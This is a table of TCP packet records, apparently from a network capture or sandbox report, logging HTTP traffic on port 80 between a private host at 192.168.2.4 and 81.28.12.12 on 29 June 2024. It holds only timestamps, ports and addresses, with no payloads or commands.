Jun 29, 2024 08:05:01.699554920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.699599981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.701112032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.701131105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.701149940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.701162100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.701176882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.701199055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.702876091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.702931881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.702970982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.703001022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.703022003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.703042984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.704711914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.704741955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.704761982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.704781055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.704807997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.704859018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.706156015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.706209898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.706259012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.706288099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.706310034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.706331968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.707940102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.707966089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.707990885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.708010912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.708034992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.708062887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.708081961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.708112001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.709527969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.709558010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.709579945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.709614992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.709628105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.709660053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.711241961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.711288929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.711318016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.711333990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.711357117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.711420059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.711469889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.712965965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.713020086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.713041067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.713079929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.713093996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.713124990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.714752913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.714823008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.714869022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.714890957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.714920044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.716547012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.716581106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.716603994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.716624975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.716654062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.716739893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.718071938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.718127012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.718144894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.718190908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.718216896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.718246937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.718297005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.719873905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.719927073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.719959974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.720005989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.720033884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.721483946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.721544027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.721573114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.721602917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.721622944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.721647024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.721694946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.723210096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.723244905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.723268986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.723289967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.723320007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.723382950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.724989891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.725042105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.725056887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.725092888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.725138903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.725171089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.725191116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.725213051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.726581097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.726634979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.726674080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.726706982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.726735115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.728719950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.728755951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.728799105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.728827000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.998302937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998378038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998399019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.998428106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.998464108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998513937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.998878002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998933077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998966932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:01.998989105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:01.999042034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.000682116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.000756025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.000852108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.000904083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.000922918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.000945091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.002810955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.002844095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.002877951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.002901077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.002932072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.004729986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.004765034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.004785061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.004807949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.004837036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.004884958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.006510973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.006563902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.006586075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.006619930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.006668091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.007638931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.007695913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.007774115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.007806063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.007852077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.010834932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.010885954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.011244059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.011276007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.011302948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.011321068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.011501074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.011533976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.011554956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.011594057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.011607885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.011634111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.012629986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.012682915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.012703896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.012736082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.012758017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.012792110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.014914989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.014949083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.014970064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.014991999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.015021086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.015105009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.017679930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.017713070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.017734051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.017760038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.017784119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.017831087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.018765926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.018815994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.018842936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.018873930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.018894911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.018917084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.020804882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.020838976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.020859003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.020883083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.020910025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.020960093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.022818089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.022874117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.022892952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.022923946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.022943020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.022969007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025074959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025106907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025127888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025156021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025177956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025227070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025264978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025316000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025336027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025367022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.025388002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.025414944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.026148081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.026199102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.026222944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.026254892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.026273966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.026293993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.028034925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.028068066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.028090000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.028121948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.028153896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.028203011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.030076981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.030123949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.030138969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.030169964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.030191898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.030347109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.031240940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.031270027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.031322956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.031359911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.031390905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.031409025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.031430006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.032919884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.032953978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.032973051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.033000946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.033025026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.033073902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.036271095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.036318064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:02.036340952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:02.036390066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.487590075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.487644911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.487695932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.487696886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.487751961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.487795115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.488117933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.488172054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.488193035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.488244057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.488271952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.488301039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.488322020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.488341093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.489940882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.489974976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.489995956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.490019083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.490047932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.490103006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.491640091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.491672039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.491692066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.491714954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.491741896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.491794109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.493307114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.493340015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.493361950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.493388891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.493412971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.493462086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.495042086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.495090961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.495116949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.495148897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.495170116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.495197058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.496759892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.496810913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.496829987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.496861935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.496905088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.496905088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.498536110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.498568058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.498589039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.498614073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.498640060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.498687983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.500341892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.500361919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.500377893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.500401974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.500401974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.500432968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.501728058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.501738071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.501781940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.501787901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.501791954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.501832962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.503509998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.503520966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.503539085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.503568888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.503568888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.505279064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.505330086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.505336046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.505342960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.505377054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.505377054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.507015944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.507054090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.507066011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.507067919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.507097006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.507097960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.508621931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.508634090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.508650064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.508677959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.508708954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.510211945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.510234118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.510246038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.510271072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.510271072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.510303020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.511967897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.511980057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.511996984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.512023926 CEST	49731	80	192.168.2.4	81.28.12.12
